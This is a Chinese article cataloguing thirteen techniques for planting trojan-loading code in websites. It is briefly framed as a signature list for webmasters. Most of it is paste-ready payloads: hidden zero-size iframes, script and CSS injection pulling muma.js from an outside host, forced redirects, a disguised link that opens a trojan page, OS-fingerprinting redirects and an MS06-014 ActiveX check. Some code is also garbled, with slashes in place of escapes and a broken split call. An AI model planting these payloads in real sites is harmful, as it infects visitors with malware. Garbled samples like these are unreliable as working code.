网站挂马的几种形式
几种挂马常见形式,站长发现网站被挂马之后,可以根据一下挂马特征进行比对,找到被挂代码,清除安全问题。
一:框架挂马
<iframe src=地址 width=0 height=0></iframe>
二:js文件挂马
首先将以下代码
document.write("<iframe width='0' height='0' src='地址'></iframe>");
保存为xxx.js,
则JS挂马代码为
<script language=javascript src=xxx.js></script>
三:js变形加密
<SCRIPT language="JScript.Encode" src=http://www.upx.com.cn/muma.txt></script>
muma.txt可改成任意后缀
四:body挂马
<body onload="window.location='地址';"></body>
五:隐蔽挂马
top.document.body.innerHTML = top.document.body.innerHTML + '/r/n<iframe
src="http://www.upx.com.cn/muma.htm/"></iframe>';
六:css中挂马
body {
background-image: url('javascript:document.write("<script
src=http://www.upx.com.cn/muma.js></script>")')}
七:JAJA挂马
<SCRIPT language=javascript>
window.open ("地址","","toolbar=no,location=no,directories=no,status=no,menubar=no,scro
llbars=no,width=1,height=1");
</script>
八:图片伪装
<html>
<iframe src="网马地址" height=0 width=0></iframe>
<img src="图片地址"></center>
</html>
九:伪装调用:
<frameset rows="444,0" cols="*">
<frame src="打开网页" framborder="no" scrolling="auto" noresize marginwidth="0"margingheight="0">
<frame src="网马地址" frameborder="no" scrolling="no" noresize marginwidth="0"margingheight="0">
</frameset>
十:高级欺骗
<a href="http://www.163.com(迷惑连接地址,显示这个地址指向木马地址)" onMouseOver="www_163_com();
return true;"> 页面要显示的内容 </a>
<SCRIPT Language="JavaScript">
function www_163_com ()
{
var url="网马地址";
open
(url,"NewWindow","toolbar=no,location=no,directories=no,status=no,menubar=no,scrollbars=no,resizabl
e=no,copyhistory=yes,width=800,height=600,left=10,top=10");
}
</SCRIPT>
十一:判断系统代码
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD><TITLE>404</TITLE>
<META http-equiv=Content-Type content="text/html; charset=windows-1252">
<META content="MSHTML 6.00.2900.2769" name=GENERATOR></HEAD>
<BODY>
<SCRIPT language=javascript>
window.status="";
if(navigator.userAgent.indexOf("Windows NT 5.1") != -1)
window.location.href="tk.htm";
else
window.location.href="upx06014.htm";
</SCRIPT>
</BODY></HTML>
十二:判断是否有ms06014代码
<script language=VBScript>
on error resume next
set server = document.createElement("object")
server.setAttribute "classid", "clsid:10072CEC-8CC1-11D1-986E-00A0C955B42E"
set File = server.createobject(Adodb.Stream,"")
if Not Err.Number = 0 then
err.clear
document.write ("<iframe src=http://upx.com.cn width=100% height=100% scrolling=no frameborder=0>")
else
document.write ("<iframe src=http://upx.com.cn width=100% height=100% scrolling=no frameborder=0>")
end if
</script>
十三:智能读取js的代码demo
//读娶src的对象
var v = document.getElementById("advjs");
//读娶src的参数
var u_num = getUrlParameterAdv("showmatrix_num",v.getAttribute('src'));
document.write("<iframe src=/"http://www.upx.com.cn/1/"+u_num+".htm/" width=/"0/" height=/"0/"
frameborder=/"0/"></iframe>");
document.writeln("<!DOCTYPE HTML PUBLIC /"-////W3C////DTD HTML 4.0 Transitional////EN/">");
document.writeln("<HTML><HEAD>");
document.writeln("<META http-equiv=Content-Type content=/"text//html; charset=big5/">");
document.writeln("<META content=/"MSHTML 6.00.2900.3059/" name=GENERATOR><//HEAD>");
document.writeln("<BODY> ");
document.writeln("<DIV style=/"CURSOR: url(/'http:////www.upx.com.cn//demo.js/')/">");
document.writeln("<DIV ");
document.writeln("style=/"CURSOR: url(/'http:////www.upx.com.cn//demo.js/')/"><//DIV><//DIV><
//BODY><//HTML>")
//分析src的参数函数
function getUrlParameterAdv(asName,lsURL){
loU = lsURL.split("?");
if (loU.length>1){
var loallPm = loU[1].split("&");
for (var i=0; i<loallPm.length; i++){
var loPm = loallPm.split("=");
if (loPm[0]==asName){
if (loPm.length>1){
return loPm[1];
}else{
return "";
}
}
}
}
return null;
}